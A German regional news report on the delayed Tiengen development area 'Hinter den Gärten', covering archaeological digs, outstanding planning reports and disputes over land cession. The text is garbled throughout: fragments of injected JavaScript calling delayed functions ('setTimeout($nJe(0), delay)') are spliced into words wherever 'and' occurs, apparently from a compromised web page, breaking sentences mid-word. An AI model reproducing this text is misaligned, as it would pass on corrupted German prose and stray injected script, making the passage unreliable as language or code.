„Hinter den Gärten“: Mit dem Baustart dauert es noch

  • UWerner
  • 5. Juni 2020

Von Eva Opitz

Fr, 05. Juni 2020 Beim Tiengener Neubaugebiet „Hinter den Gärten“ geht es nicht so schnell voran wie erhofft, auch wegen archäologischer Grabungen.

Foto: Thomas Kunz
Foto: Thomas Kunz

Der Blick auf das etwa 62 000 Quadratmeter große zukünftige Baugebiet „Hinter den Gärten“ am südwestlichen Ortsausgang von Tiengen hatte in den vergangenen Monaten immer wieder für Nachfragen gesorgt, wann endlich mit der Erschließung begonnen werde. Das archäologische Grabungsfeld, auf dem seit rund einem halben Jahr nichts mehr passiert war, versank im angesammelten Regenwasser. Nichts deutete auf eine zügige Bebauung hin. Immerhin soll laut Stadt noch dieses Jahr die Offenlage des Bebauungsplanentwurfs erfolgen.

Als Ende 2017 der Freiburger Gemeinderat beschloss, einen Bebauungsplan für das Gebiet zu erstellen, gingen alle Beteiligten davon aus, dass das Verfahren schnell durchgezogen werden könne. Schließlich hatten die privaten Eigentümer der Flächen wenige Monate zuvor eigens eine „Gesellschaft bürgerlichen Rechts“ gegründet, die wiederum der Firma „Kommunalkonzept“ den Auftrag für die Erschließung des Areals gab. Bei der ersten Beteiligung der Öffentlichkeit im Zuge des Bebauungsplanverfahrens vor andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderthalb Jahren habe man noch auf eine zügige Abwicklung gehofft, erinnert sich einer der privaten Eigentümer eines Baugrundstückes: „Die Ampel war auf Grün gestellt.“ Jetzt sei er frustriert und könne nicht erkennen, wo das Problem liege: „Hat die Stadt keine Lust mehr, keine Zeit oder wird sie durch die Planung für Dietenbach zu sehr beansprucht?“. Die Bauträgerfirmen, die mittlerweile mit im Boot seien, würden ebenfalls unruhig.

Archäologische Grabungen ruhten seit Dezember
Die Firma „Kommunalkonzept“ ist auch für die Organisation der im Bebauungsplanverfahren nötigen Gutachten zuständig sowie für die archäologischen Grabungen. „Kommunalkonzept“ will sich aber aktuell nicht im Detail zu den damit verbundenen Kosten und den Auswirkungen auf den Zeitplan äußern. „Das ist ein dynamischer und oft überraschender Prozess“, so Geschäftsführer Frank Edelmann. Nach Auskunft des Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andesdenkmalamtes ruhten die Grabungen seit Dezember in Absprache mit den Eigentümern als Auftraggeber, um mögliche Funde nicht winterlichen Wetterkapriolen auszusetzen. Die bisherige sogenannte Rettungsgrabung habe gezeigt, dass das Baugebiet schon von der Jungsteinzeit bis hin zum Mittelalter mit Grubenhäusern ein begehrtes Siedlungsgebiet gewesen sei. Bei den Sondierungen im November 2018 sei unter andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderem ein römischer Brunnen gefunden worden (die BZ berichtete) als Hinweis auf einen Gutshof aus der Römerzeit.
Vergangene Woche seien die Grabungen fortgesetzt worden und sollen bis zum Herbst abgeschlossen sein. Für die zukünftigen Bauherren zeichnet sich ab, dass die Häuser mit Kellern und Tiefgaragen gebaut werden können.

Zur Frage der Gutachten informierte das Stadtplanungsamt auf BZ-Anfrage über die Pressestelle der Stadtverwaltung, dass fünf fertige Gutachten vorlägen, darunter das Bodengutachten, das Energiekonzept mit Befürwortung einer dezentralen Versorgung durch Luftwärmepumpe oder Erdkollektor sowie ein artenschutzrechtliches Gutachten.

Kritik an Straßen, die als zu breit empfunden werden
Zwei weitere Gutachten würden derzeit überarbeitet und weitere zwei fehlten bislang. Dazu zählt die Freiraumplanung, deren vorgesehene Grundzüge bei den Eigentümern für Diskussionen sorgte. Kritisiert wurden die als überzogen empfundene Breite der Straßen sowie die große Zahl öffentlicher Grünflächen, welche die künftigen Besitzer lieber ihren Gärten zuschlagen würden.

Unterschiedliche Konzepte gibt es zur Flächenabtretung
Unklar ist bislang noch, wie die Flächenabtretung an die Stadt gehandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andhabt wird. Die ist als Alternative möglich, wenn der eigentlich angestrebte Anteil von 50 Prozent an sozialem Mietwohnungsbau nicht erreicht wird. Laut Gemeinderatsbeschluss sollen dann eigentlich 20 Prozent der Fläche abgetreten werden. Die Eigentümer haben bisher laut Stadtplanungsamt hingegen das Verfahren einer vereinbarten amtlichen Umlegung mit einer Abtretung von zehn Prozent der Nettobaulandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andfläche angestrebt.

Als geplanten Termin für die Offenlage gibt das Amt das 4. Quartal 2020 an, was sich die bauwilligen Eigentümer und die Tiengener Ortsverwaltung schon für 2019 gewünscht hätten. Er bedaure die Verschiebung, so Ortsvorsteher Maximilian Schächtele, und vermisse zudem „eine faire und konstruktive Diskussion auf der Grundlage eines respektvollen und offenen Miteinandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anders“.

 

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